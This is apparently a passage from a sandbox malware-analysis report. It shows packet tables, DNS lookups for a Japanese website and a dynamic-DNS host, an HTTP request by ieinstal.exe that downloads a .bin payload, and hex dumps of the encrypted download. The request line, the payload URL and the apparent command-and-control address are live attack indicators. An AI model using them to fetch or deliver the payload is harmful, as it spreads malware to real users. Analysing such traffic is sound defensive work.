                            Jan 21, 2022 17:23:12.112095118 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112231016 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112251997 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112287998 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112298965 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112327099 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112346888 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112519026 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112541914 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112588882 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112601995 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.112627029 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.112648010 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351306915 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351344109 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351409912 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351552963 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351572037 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351592064 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351596117 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351645947 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351670027 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351679087 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351701975 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351727962 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351736069 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351763964 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351785898 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351875067 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351933956 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.351968050 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.351974964 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.352009058 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.352025986 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.363822937 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.363903999 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364008904 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364020109 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364054918 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364075899 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364097118 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364111900 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364129066 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364145994 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364173889 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364191055 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364229918 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364268064 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364279032 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364300966 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364314079 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364331007 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364341021 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364360094 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364376068 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364429951 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364432096 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364456892 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364486933 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364516020 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364526987 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364541054 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364554882 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364577055 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364588022 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364612103 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364613056 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364634991 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364641905 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364664078 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364687920 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364700079 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364753008 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364762068 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364774942 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:12.364805937 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.364837885 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.365214109 CET49759443192.168.2.352.68.15.223
                            Jan 21, 2022 17:23:12.365235090 CET4434975952.68.15.223192.168.2.3
                            Jan 21, 2022 17:23:17.416019917 CET5466649757199.195.253.181192.168.2.3
                            Jan 21, 2022 17:23:17.436279058 CET4975754666192.168.2.3199.195.253.181

                            UDP Packets

                            TimestampSource PortDest PortSource IPDest IP
                            Jan 21, 2022 17:20:59.268987894 CET5745953192.168.2.38.8.8.8
                            Jan 21, 2022 17:20:59.538330078 CET53574598.8.8.8192.168.2.3
                            Jan 21, 2022 17:21:03.982707977 CET5787553192.168.2.38.8.8.8
                            Jan 21, 2022 17:21:04.003571987 CET53578758.8.8.8192.168.2.3
                            Jan 21, 2022 17:22:57.512908936 CET5415453192.168.2.38.8.8.8
                            Jan 21, 2022 17:22:57.783508062 CET53541548.8.8.8192.168.2.3
                            Jan 21, 2022 17:23:10.050245047 CET5280653192.168.2.38.8.8.8
                            Jan 21, 2022 17:23:10.069026947 CET53528068.8.8.8192.168.2.3

                            DNS Queries

                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClass
                            Jan 21, 2022 17:20:59.268987894 CET192.168.2.38.8.8.80x4615Standard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)
                            Jan 21, 2022 17:21:03.982707977 CET192.168.2.38.8.8.80xc66fStandard query (0)rnnfibi.hopto.orgA (IP address)IN (0x0001)
                            Jan 21, 2022 17:22:57.512908936 CET192.168.2.38.8.8.80x2e38Standard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:10.050245047 CET192.168.2.38.8.8.80xbe6aStandard query (0)www.wizumiya.co.jpA (IP address)IN (0x0001)

                            DNS Answers

                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClass
                            Jan 21, 2022 17:20:59.538330078 CET8.8.8.8192.168.2.30x4615No error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:21:04.003571987 CET8.8.8.8192.168.2.30xc66fNo error (0)rnnfibi.hopto.org199.195.253.181A (IP address)IN (0x0001)
                            Jan 21, 2022 17:22:57.783508062 CET8.8.8.8192.168.2.30x2e38No error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:10.069026947 CET8.8.8.8192.168.2.30xbe6aNo error (0)www.wizumiya.co.jp52.68.15.223A (IP address)IN (0x0001)
                            Jan 21, 2022 17:23:11.601560116 CET8.8.8.8192.168.2.30xaec5No error (0)prda.aadg.msidentity.comwww.tm.a.prd.aadg.akadns.netCNAME (Canonical name)IN (0x0001)

                            HTTP Request Dependency Graph

                            • www.wizumiya.co.jp

                            HTTPS Proxied Packets

                            Session IDSource IPSource PortDestination IPDestination PortProcess
                            0192.168.2.34975652.68.15.223443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                            TimestampkBytes transferredDirectionData
                            2022-01-21 16:21:00 UTC0OUTGET /html/user_data/original/images/Aso-new-WO-S_PAgZvxdaV59.bin HTTP/1.1
                            User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
                            Host: www.wizumiya.co.jp
                            Cache-Control: no-cache
                            2022-01-21 16:21:01 UTC0INHTTP/1.1 200 OK
                            Date: Fri, 21 Jan 2022 16:21:00 GMT
                            Server: Apache/2.4.18 (Ubuntu)
                            Last-Modified: Wed, 19 Jan 2022 23:42:09 GMT
                            ETag: "73c40-5d5f7ef2420e7"
                            Accept-Ranges: bytes
                            Content-Length: 474176
                            Connection: close
                            Content-Type: application/octet-stream
                            2022-01-21 16:21:01 UTC0INData Raw: d5 08 c2 f6 f6 5d 65 04 ba ad 0d 47 ba 23 ec e6 32 ce 4c a3 9e 67 e9 1a d8 d3 ba 9e f4 4f 77 38 49 52 d4 92 5b 33 e6 87 34 f6 f3 70 d2 79 af fb 71 cf e5 05 d0 13 3b 2e ec ad a8 44 32 f7 a2 6a 32 d5 49 22 6c ac 5c 55 ea f1 03 22 a6 fd 73 b9 ad 4a d0 de 73 8e 8f b1 14 04 5b 8d 02 e0 eb 3f 03 13 e7 f2 cc 6f 73 7e 78 01 b3 05 45 19 0c 3f af 00 17 41 9e c5 48 68 d8 30 11 48 b9 c0 9f 85 88 3a 38 c0 bb 38 ea 7b d1 ae d1 1e ec 4d a8 63 0d ec 6a 2e 3a b5 23 a7 3e 7b 5e f4 05 60 e0 ba 2f 5b c4 ab 3e 81 63 4e 18 a4 0b bf ef 9a 79 81 10 a8 cc 13 fa 94 39 5c 7f 5f 2a a7 b6 88 ef 51 d1 55 18 42 5f 3b bc 41 eb f3 31 75 95 03 ca 1a 05 06 07 a8 cd b2 b5 aa 99 48 7a b3 c1 04 1e a2 db 47 86 98 ac e7 8a 92 8e be 53 aa 09 8f d9 5b 00 ed e5 b4 b4 a2 af e0 de 0f 20 69 5a 1c 80
                            Data Ascii: ]eG#2LgOw8IR[34pyq;.D2j2I"l\U"sJs[?os~xE?AHh0H:88{Mcj.:#>{^`/[>cNy9\_*QUB_;A1uHzGS[ iZ
                            2022-01-21 16:21:01 UTC16INData Raw: 28 77 13 69 50 62 65 f9 1a d1 32 5f 44 a8 d4 34 8d 4e 99 96 91 51 1f 35 1a 5d 97 b1 db 86 17 f5 f6 f9 a1 03 fa ff 37 93 94 19 ad 8e 78 8d 64 97 2d 98 81 94 10 00 14 66 68 44 08 aa 87 bb 72 21 7f 9f 0e a2 99 76 52 7d 4d a1 d2 b5 31 81 ae af 20 8b 9a d0 db 89 7f de 93 b1 24 82 3f 57 cd 57 71 31 42 02 59 8e 1c a7 0a 50 d3 f1 ae f6 93 d6 fa 95 a2 55 2e 6a 86 4a d4 51 eb ec 38 db f9 11 84 7b 5c 6f 88 bb 29 73 b6 2d 5a 53 2f 53 af 2c e3 5e 0c ff a7 7a 83 c2 e2 34 13 71 94 5d 6a d2 83 c6 99 9f 14 bc 62 8d 0f 70 c3 7c c8 13 60 35 38 70 85 7a ef 7c bc a2 f0 e6 da 92 1e 25 07 8c 0e c6 27 e4 92 07 21 85 88 0b a4 fc 32 7c 5d 63 cc 9a f5 e9 b8 31 16 3e 14 11 0d 01 3c 47 70 1a af e7 78 41 89 c8 78 9d 6d 89 42 fc bc 6c 1a 16 ee da 6c 20 25 3f b7 50 89 d4 e2 4c e0 47 2c
                            Data Ascii: (wiPbe2_D4NQ5]7xd-fhDr!vR}M1 $?WWq1BYPU.jJQ8{\o)s-ZS/S,^z4q]jbp|`58pz|%'!2|]c1><GpxAxmBll %?PLG,
                            2022-01-21 16:21:01 UTC32INData Raw: c0 3f cf a5 41 fe 28 70 04 2e 19 7a b6 40 52 51 7f 47 2f a8 63 3a 3d a0 91 c9 35 6b 5d 6c 0d ef 5b 5d 32 60 62 71 ba 90 22 45 f7 48 25 41 e1 30 f6 aa 0b bf 50 3d 91 14 02 c8 4c 0d fe b4 86 24 80 86 78 83 86 87 d3 c0 68 15 92 cc cc 5c 89 be 49 84 3f f0 a0 b2 cc 1b 4a 00 7d 4c 33 7d 08 ab ed 4b 95 15 4a 62 3e 7d 83 c8 40 a0 0e 15 c3 3e 4d 43 45 40 a3 01 5a 4f 62 6c 9b b2 c1 33 b3 e2 5b d6 d9 fe 6d 4f 7e bd fe db 38 e0 d6 65 94 57 76 56 3d 0a 3d 23 ec 00 3d d2 61 0e ee 79 a1 37 a7 bf a4 7e 89 48 bc 4b f3 55 73 51 96 2b 57 2f e9 c6 47 9b fa f2 61 a1 09 ae 06 8d 1c 7e fb 48 1a 31 e5 29 4b 6e cc c7 eb 1f 02 42 cc 00 c9 3c c6 fe c8 ef 3a 98 54 b3 9a ea 1f 14 b4 cd fb 32 08 33 90 2c 20 23 c2 e6 8e a9 9a e8 c7 2e ec 73 45 9e c5 1b e3 01 66 46 c5 c2 c5 f7 0d 95 25
                            Data Ascii: ?A(p.z@RQG/c:=5k]l[]2`bq"EH%A0P=L$xh\I?J}L3}KJb>}@>MCE@ZObl3[mO~8eWvV==#=ay7~HKUsQ+W/Ga~H1)KnB<:T23, #.sEfF%
                            2022-01-21 16:21:01 UTC48INData Raw: 38 c4 24 ea 08 cd 7c 6a 73 ba 24 08 b9 e0 4f 7e af 33 e2 19 9b bb 20 6c 2f 93 28 1b 7c be 18 8d 3f db 17 ca 66 7c a5 60 53 aa 1d 7d a1 a0 fe 12 b2 d0 cc 0e 13 f5 6f 85 1a 44 9b 1f 96 60 a3 85 d0 0c 79 b5 24 84 12 77 43 27 11 0d b0 10 e6 23 31 fb 58 88 50 95 8b e4 c9 37 66 26 7e e4 8f c9 34 7b 77 8a b5 8d 35 e4 5d 62 f6 59 02 8a 81 74 57 92 f8 a0 5b e3 36 1a 6a 30 79 35 3b d1 a3 d5 29 9c c0 55 8d d4 bb 32 5d 84 31 df d0 8d 72 b9 62 5c 76 4b ca 8f de f6 e4 85 ba ee b5 f6 72 e6 1c 3e 19 b4 e5 63 17 0c 7e 1b 9f 0a af 2b b4 89 f1 5c b0 62 a9 68 60 a7 aa 87 b3 fb 19 7b db a7 ff 7d 15 8c cf 56 a1 f6 0b ce 7e e2 86 ac fa 87 7a 7f 61 3a 9b 77 59 f2 94 9e 41 40 c9 3c d5 ff e9 66 f0 0f db f1 27 d7 8d de 16 d7 c0 ac 97 1f 4a 97 4d 85 e2 4b 4e bd f9 88 12 c1 ed 5c b3
                            Data Ascii: 8$|js$O~3 l/(|?f|`S}oD`y$wC'#1XP7f&~4{w5]bYtW[6j0y5;)U2]1rb\vKr>c~+\bh`{}V~za:wYA@<f'JMKN\
                            2022-01-21 16:21:01 UTC64INData Raw: 97 6b 23 f2 7b 2a f2 89 85 30 49 56 4d 33 2f f8 09 e4 86 51 19 64 98 d7 ea e7 bd a5 33 57 a7 26 6c 2b b4 58 75 da 49 53 9a 46 59 95 54 82 b4 c3 23 f7 b7 ec 41 12 18 3b 65 2b b6 45 0a a8 5f ad ff 7e c9 0e cb 75 7f 02 f1 6e 93 70 8f b2 8c e8 ca 2d 76 64 df 82 34 0c 53 d1 9c af 41 19 86 eb 59 ea 72 5f d9 0d 16 ab 9b f3 17 33 ef 57 0a 93 df ba 70 40 74 87 db bb 8b 2e 16 24 12 b0 be 07 ec 19 c4 a1 54 00 39 59 d5 b6 ca 2e d0 20 27 1b f8 ee 80 40 0c 97 77 d6 96 32 8b b7 10 21 dd 50 90 e3 19 13 d7 10 08 31 a5 90 73 26 44 e5 a5 db 38 b4 6d 62 1d 19 9b 3c 46 be e8 e7 a2 f5 ff 78 be 05 fb 99 48 af 7f 99 a6 ff 78 74 e8 8f a2 ab 8f b5 d2 8c 34 49 ac 62 b7 d0 8d f7 be 21 b2 c0 f1 89 94 88 c0 85 f7 54 f2 c3 c0 8c 99 55 80 9b 33 cc 7f 49 23 58 3f cc c0 59 ef 0a 58 a4 be
                            Data Ascii: k#{*0IVM3/Qd3W&l+XuISFYT#A;e+E_~unp-vd4SAYr_3Wp@t.$T9Y. '@w2!P1s&D8mb<FxHxt4Ib!TU3I#X?YX
                            2022-01-21 16:21:01 UTC80INData Raw: fe 8c 68 4e a7 9f ad a2 e6 6b fb 0b 65 9f b5 28 4c 25 51 f1 1e 53 7e 12 a4 01 0a f5 5a 7b a6 a4 1e 99 12 ad 7d 31 35 14 2c 71 2a a1 7d 44 68 7e 84 66 02 a9 4e 73 6b e2 b6 0d 2f 5e 47 56 65 76 09 2c ea da 86 2c 16 67 ca cf 26 4b 18 13 fd 12 cf 2e cc 8d 13 48 aa d4 35 67 7e 95 c6 34 53 00 d2 84 8c dd 90 1f c4 44 1b ff 4f fc c7 55 fc d3 e0 3e 37 fa 47 a7 30 f0 65 d4 c4 52 0d 06 dd 77 f6 a1 ab 2f 10 4c 38 ec 9f a1 08 5f ae 35 34 43 22 86 9b 1b 1c f2 65 a0 5c ad 64 b2 a9 e7 c7 78 a1 53 c6 e5 9f b4 c0 ea ab 21 9d 37 4b cd dc cd 7a 1f a5 fb 86 f9 c5 59 5b 97 33 f0 79 42 60 14 09 cf 3d 07 6b 76 6e 42 d5 ae 80 4e 76 84 ba 04 6c ec 44 a9 e6 28 f8 2b f5 34 c5 52 71 14 06 bf 63 98 95 ac e9 69 02 a9 c1 51 9f b3 52 57 db b4 f0 08 1c a3 91 d0 dc fb f6 fb d9 aa a1 53 47
                            Data Ascii: hNke(L%QS~Z{}15,q*}Dh~fNsk/^GVev,,g&K.H5g~4SDOU>7G0eRw/L8_54C"e\dxS!7KzY[3yB`=kvnBNvlD(+4RqciQRWSG
                            2022-01-21 16:21:01 UTC96INData Raw: 88 12 47 72 b6 2d 81 93 4f 9f 0e ff 1c a1 d7 3d bb d5 03 c2 f1 bf 12 71 46 d4 18 e9 d7 2d 81 5f a5 ea df 91 84 2d 05 57 c8 6e 17 34 38 a4 45 3a 23 64 87 b6 9d 47 ae d9 0c 8a a2 39 2e 48 d9 4e 94 a7 54 fb 37 59 cf 82 b2 f0 11 33 97 18 da 84 31 a2 64 67 80 43 a0 c6 25 ec 87 c0 97 cd 2a 91 4d 61 cd 0b eb 97 42 d8 6f d2 6d fd ef 6b 93 9d 07 3c f2 e2 88 53 09 e1 00 06 d3 bf af 29 7e 00 39 7f 2a 01 f4 9a 3f 88 1e 4a b2 f1 03 d2 fe 01 40 98 85 ea 65 84 cc 8a ba 28 f5 57 ba 6a 82 19 84 61 76 71 01 f6 47 59 c3 85 15 a1 9a 63 b2 48 7c e1 26 77 6d 8a ef 4e 0e 6e cc 32 ef 95 f5 f9 93 32 19 f4 01 e5 64 08 45 36 3f 3e 79 de 83 49 65 35 31 01 b5 ac 41 36 b0 0b 8d cb 45 bf 53 7d 84 d4 c0 46 00 ef 92 0b 5a 42 a0 c9 3f 71 ce a2 6f 6a 49 3e 63 88 0e b7 9e 2e e3 b8 b3 6b 04
                            Data Ascii: Gr-O=qF-_-Wn48E:#dG9.HNT7Y31dgC%*MaBomk<S)~9*?J@e(WjavqGYcH|&wmNn22dE6?>yIe51A6ES}FZB?qojI>c.k
                            2022-01-21 16:21:01 UTC112INData Raw: 00 08 95 ca 65 6f ce 24 2c 62 fb d7 28 7f ad 29 26 d9 67 a9 7b 98 15 09 34 3d c0 7d ad bf a4 fe 6b 7e 43 b4 8f 84 c3 e4 0b 30 c0 90 3f c2 05 9e fa 19 59 f9 58 d9 44 30 76 29 04 28 2d d8 32 4c 56 ee f1 89 e1 7d 32 4f a9 60 5e 38 1c 8c 71 70 32 ac 05 2f 87 ba ec 15 c0 fc fa 47 f2 cc 6f f9 f0 6f 02 b3 05 c5 e0 c0 4b 44 80 ee 81 ea 23 c8 91 cb 45 f0 47 07 47 87 86 86 25 01 26 ba f9 d5 dc e0 4c ba 5e 79 ab 7a 27 66 9f 4a 59 48 de 44 12 d9 26 7c 97 64 0e ae fd 5b 1d 2f 58 3a f1 16 20 5e 44 f3 b7 a9 d5 2a c7 f4 41 8e 74 d4 99 52 df cd 75 28 a7 b6 08 16 42 b6 32 e5 c8 29 a5 af 26 be 1a 1b 98 45 be db 7d e7 3a e4 bd a6 af 6d cd 5b 48 9a b2 bc 06 1d c6 39 47 5b fd 96 65 18 3e d1 1a c4 cd 38 9a 54 2c cb d1 31 ef e4 4c b1 06 78 cd b0 0f 16 e6 1a 9c e2 33 22 62 d9 20
                            Data Ascii: eo$,b()&g{4=}k~C0?YXD0v)(-2LV}2O`^8qp2/GooKD#EGG%&L^yz'fJYHD&|d[/X: ^D*AtRu(B2)&E}:m[H9G[e>8T,1Lx3"b
                            2022-01-21 16:21:01 UTC128INData Raw: 83 3e b4 b6 b6 48 25 99 5b 7d 36 18 81 c0 2a 9f 8b 5e 5f 1a fc 3b 1b 89 78 b8 95 a1 9b 55 54 73 f2 60 7b e0 6a 15 93 17 f5 a6 64 0d 19 5d e4 cc db 0d 7e f0 55 78 d8 be 8d f6 97 da 62 55 53 e1 3f 1f cf f9 5f ce 7e a3 5d c9 75 10 0e e1 da 98 95 2d b1 08 f8 c0 a8 c4 83 b9 15 df 43 e0 51 68 20 78 aa 3f f0 44 15 3f 14 59 1e 52 e7 9f c0 0c b8 28 f6 99 74 60 67 43 ee 3d 49 b2 8b 60 02 bc 80 cc b4 a3 18 0c ba ba ff 1c a1 d8 ee ac 7a b6 77 49 e8 99 9d 4c e8 79 a5 f3 4d 3a 36 56 27 df 43 fe 7e f3 90 23 2e b6 a0 c4 a6 23 56 8d ba 7f 5e 0f b9 62 9d 64 9e de c1 c3 4f e6 82 d9 68 0d db de 8f c9 bc 7e a6 66 df e8 64 c9 55 85 de 03 2a ab d7 c0 00 b7 12 fb a1 51 9d f0 9e c7 84 90 4b 0e 89 37 8b 13 50 6c 0e 77 a7 c5 39 06 b3 1a 9e ff ed f6 d8 4a 48 56 e6 25 68 7e 99 71 3c
                            Data Ascii: >H%[}6*^_;xUTs`{jd]~UxbUS?_~]u-CQh x?D?YR(t`gC=I`zwILyM:6V'C~#.#V^bdOh~fdU*QK7Plw9JHV%h~q<
                            2022-01-21 16:21:01 UTC144INData Raw: 2d 81 3f a1 df 49 bf a7 24 8d 87 61 fb ee b8 33 f8 1c 87 29 dd f5 2e af d3 34 4e 47 dd 77 58 b1 97 22 5f f3 02 cd 72 3a 8d 09 20 1f 3f 48 e9 7b 0e e6 8b 06 44 fb 58 28 20 80 16 64 96 0d a9 96 06 ff e7 d8 8e ff dc 4a a2 70 ab 1c 32 a0 1e 87 33 49 3e 5c 09 5b bc 43 e9 6d a7 0e 1d 5d 33 80 44 e3 bc b9 79 b4 f8 47 47 4d 4f b8 bf 98 82 5a c4 a3 d4 82 b2 a1 0b 7c e2 a4 bd 49 f7 71 e1 6b 37 24 53 b3 1f db b8 b0 65 71 9c 52 33 84 e5 06 09 e3 e6 ea 0f 11 b0 f1 1a 51 40 5b fd bd 90 c9 47 81 05 cb 43 5e 7e f8 38 a9 8d fa 21 a3 40 e7 e9 2f 40 0d be 2d f4 ca d5 ab 6e 27 19 ad 67 f7 30 e2 07 89 96 e4 d6 1f 5b 32 22 df dc 3a 96 8f 82 db 89 95 e3 b2 56 ef b0 0d b9 7f fa 3b 80 32 4c 8e 45 90 49 c3 22 45 1f 11 17 fb a0 01 27 cf ee 11 e8 44 5f f0 db ae d7 32 30 c1 eb 33 39
                            Data Ascii: -?I$a3).4NGwX"_r: ?H{DX( dJp23I>\[Cm]3DyGGMOZ|Iqk7$SeqR3Q@[GC^~8!@/@-n'g0[2":V;2LEI"E'D_2039
                            2022-01-21 16:21:01 UTC160INData Raw: 59 8c 37 68 a1 e4 f8 d4 fe 00 41 0c 31 ae 33 0f 5f f4 9d 18 36 fa 1b e8 d8 df 88 44 a2 14 f9 05 ed 4d 09 0a 4d 6b 9d bc 44 04 55 3a 75 9a 38 3c d6 72 cc 25 bf 1d e0 a0 f1 cf 64 12 c1 f9 c2 99 87 6e ae b4 51 66 fe c5 23 70 76 4e 2b ff cf 7f c4 8b b9 8e e9 f7 90 a6 c1 2c 23 87 1e a8 18 ac e7 ad 02 07 61 e1 56 2f 5d eb 5c 10 7b f8 45 4c 67 cf 85 fd f8 6e 31 71 91 8d 06 9a bd 06 6e 4b 6b b0 be 50 d2 2f 75 36 ce 29 5c b5 5a 35 70 d6 ea 7f fb 62 7f 05 83 c1 a7 0b c6 c5 be 4f 6c 1f 28 82 06 19 62 97 a6 02 d0 9c ab 91 be a9 f5 9e 83 ed 97 63 6f c1 4e d2 83 e7 1e d6 5c f4 a5 cc 3e 28 c3 4d fc 5d 6e ab ad 19 25 bf f2 93 fc a9 f4 17 30 40 d3 fd 3c d5 27 2f 6a 99 a5 d0 f5 27 5c c8 50 ef 6f c5 05 e1 ad e1 44 5b f2 50 fe e2 41 72 64 c8 ed ee a0 fe f9 f8 9e 76 0e d5 10
                            Data Ascii: Y7hA13_6DMMkDU:u8<r%dnQf#pvN+,#aV/]\{ELgn1qnKkP/u6)\Z5pbOl(bcoN\>(M]n%0@<'/j'\PoD[PArdv
                            2022-01-21 16:21:01 UTC176INData Raw: 44 9e c7 54 d0 52 ba 58 c7 f8 6e 01 fc d7 37 ee 6d 94 1f 25 53 85 cb 84 77 6a 4a 21 28 cf d9 1a c9 7b 0a a1 c4 57 bc 51 06 f6 66 4a 96 7e 8f 3b 66 0f 2f b0 f0 5f 7d c3 a6 10 60 34 7b c3 75 7f 0e 59 84 82 c8 35 e7 7b 16 c6 25 42 97 4f 38 7b cc 54 56 6a f1 c5 c8 b2 8b 16 20 f2 57 fd 40 5c bb e4 96 0b 46 91 68 26 7a 05 00 bd 03 e6 e3 8e c6 8c 1e c8 73 78 b4 33 c9 e0 01 27 e0 da 33 06 1f 2b a0 9b d3 2f 35 cc 0e 5d 6d 12 c1 f1 69 a0 aa fe 9a 34 fd 94 86 2a 0e 9f fc 9c 20 5e 77 2c 7d 05 39 ac 73 cf 09 7f 16 71 c3 39 a0 06 6f cb b4 8d be 00 eb 37 64 5e 7b 2c dc 13 24 85 15 0e 11 2e fe 04 7c 00 70 a2 53 f5 72 c6 76 f2 34 b3 16 3e 65 f8 da de 57 7f d0 39 87 a8 3e e1 1b 37 bf 7b 01 85 f1 73 8d 32 cf b8 20 01 d0 cb d1 7a 04 1a 84 f8 a4 af d0 1d 47 66 85 8c 88 c0 5e
                            Data Ascii: DTRXn7m%SwjJ!({WQfJ~;f/_}`4{uY5{%BO8{TVj W@\Fh&zsx3'3+/5]mi4* ^w,}9sq9o7d^{,$.|pSrv4>eW9>7{s2 zGf^
                            2022-01-21 16:21:01 UTC192INData Raw: 47 01 a2 ba 0b ed 82 56 90 0e da cd e0 47 d8 38 97 ed 33 9a 1b 1d 7b c0 42 0b b3 d8 66 38 ab e9 92 9f 1b 6c a1 1b 4b b5 66 1a df 34 30 d7 5a 26 69 f0 88 89 dd e6 a0 ab 30 09 c1 23 0b b9 a1 64 12 5f 10 dc 45 29 40 e5 44 cc 2e 05 e1 b5 0e 9a 5f 70 9c ae f5 f7 01 67 72 a1 73 3a c9 1f 1c c4 46 db f7 36 c3 37 70 01 1d a6 3e 1f b3 7e 8b 30 c8 13 a8 5e 44 f2 39 26 62 2a 27 eb 03 58 ca 37 69 2c a1 08 98 28 68 01 05 11 47 fd 20 5f 9e 12 b0 04 bf ed 6c 10 64 01 cc 9e 54 ea e5 08 a4 bf a7 aa c9 98 42 30 0b 5b 29 27 dc f3 b7 3a 24 be 15 57 1d c2 18 e4 ad 71 bb 31 ff 7e 54 32 37 a0 84 00 be ba c1 23 25 70 e7 8a f9 bd 5f 2c 8b 80 ef 78 41 78 8d e0 21 85 c5 ee 61 2f 64 a2 d6 4f 8a ba 8f c3 05 70 dc 09 9b 1c 5e e3 bc 99 31 29 42 17 91 2c 05 99 63 08 96 f8 06 6e 7d 6c 68
                            Data Ascii: GVG83{Bf8lKf40Z&i0#d_E)@D._pgrs:F67p>~0^D9&b*'X7i,(hG _ldTB0[)':$Wq1~T27#%p_,xAx!a/dOp^1)B,cn}lh
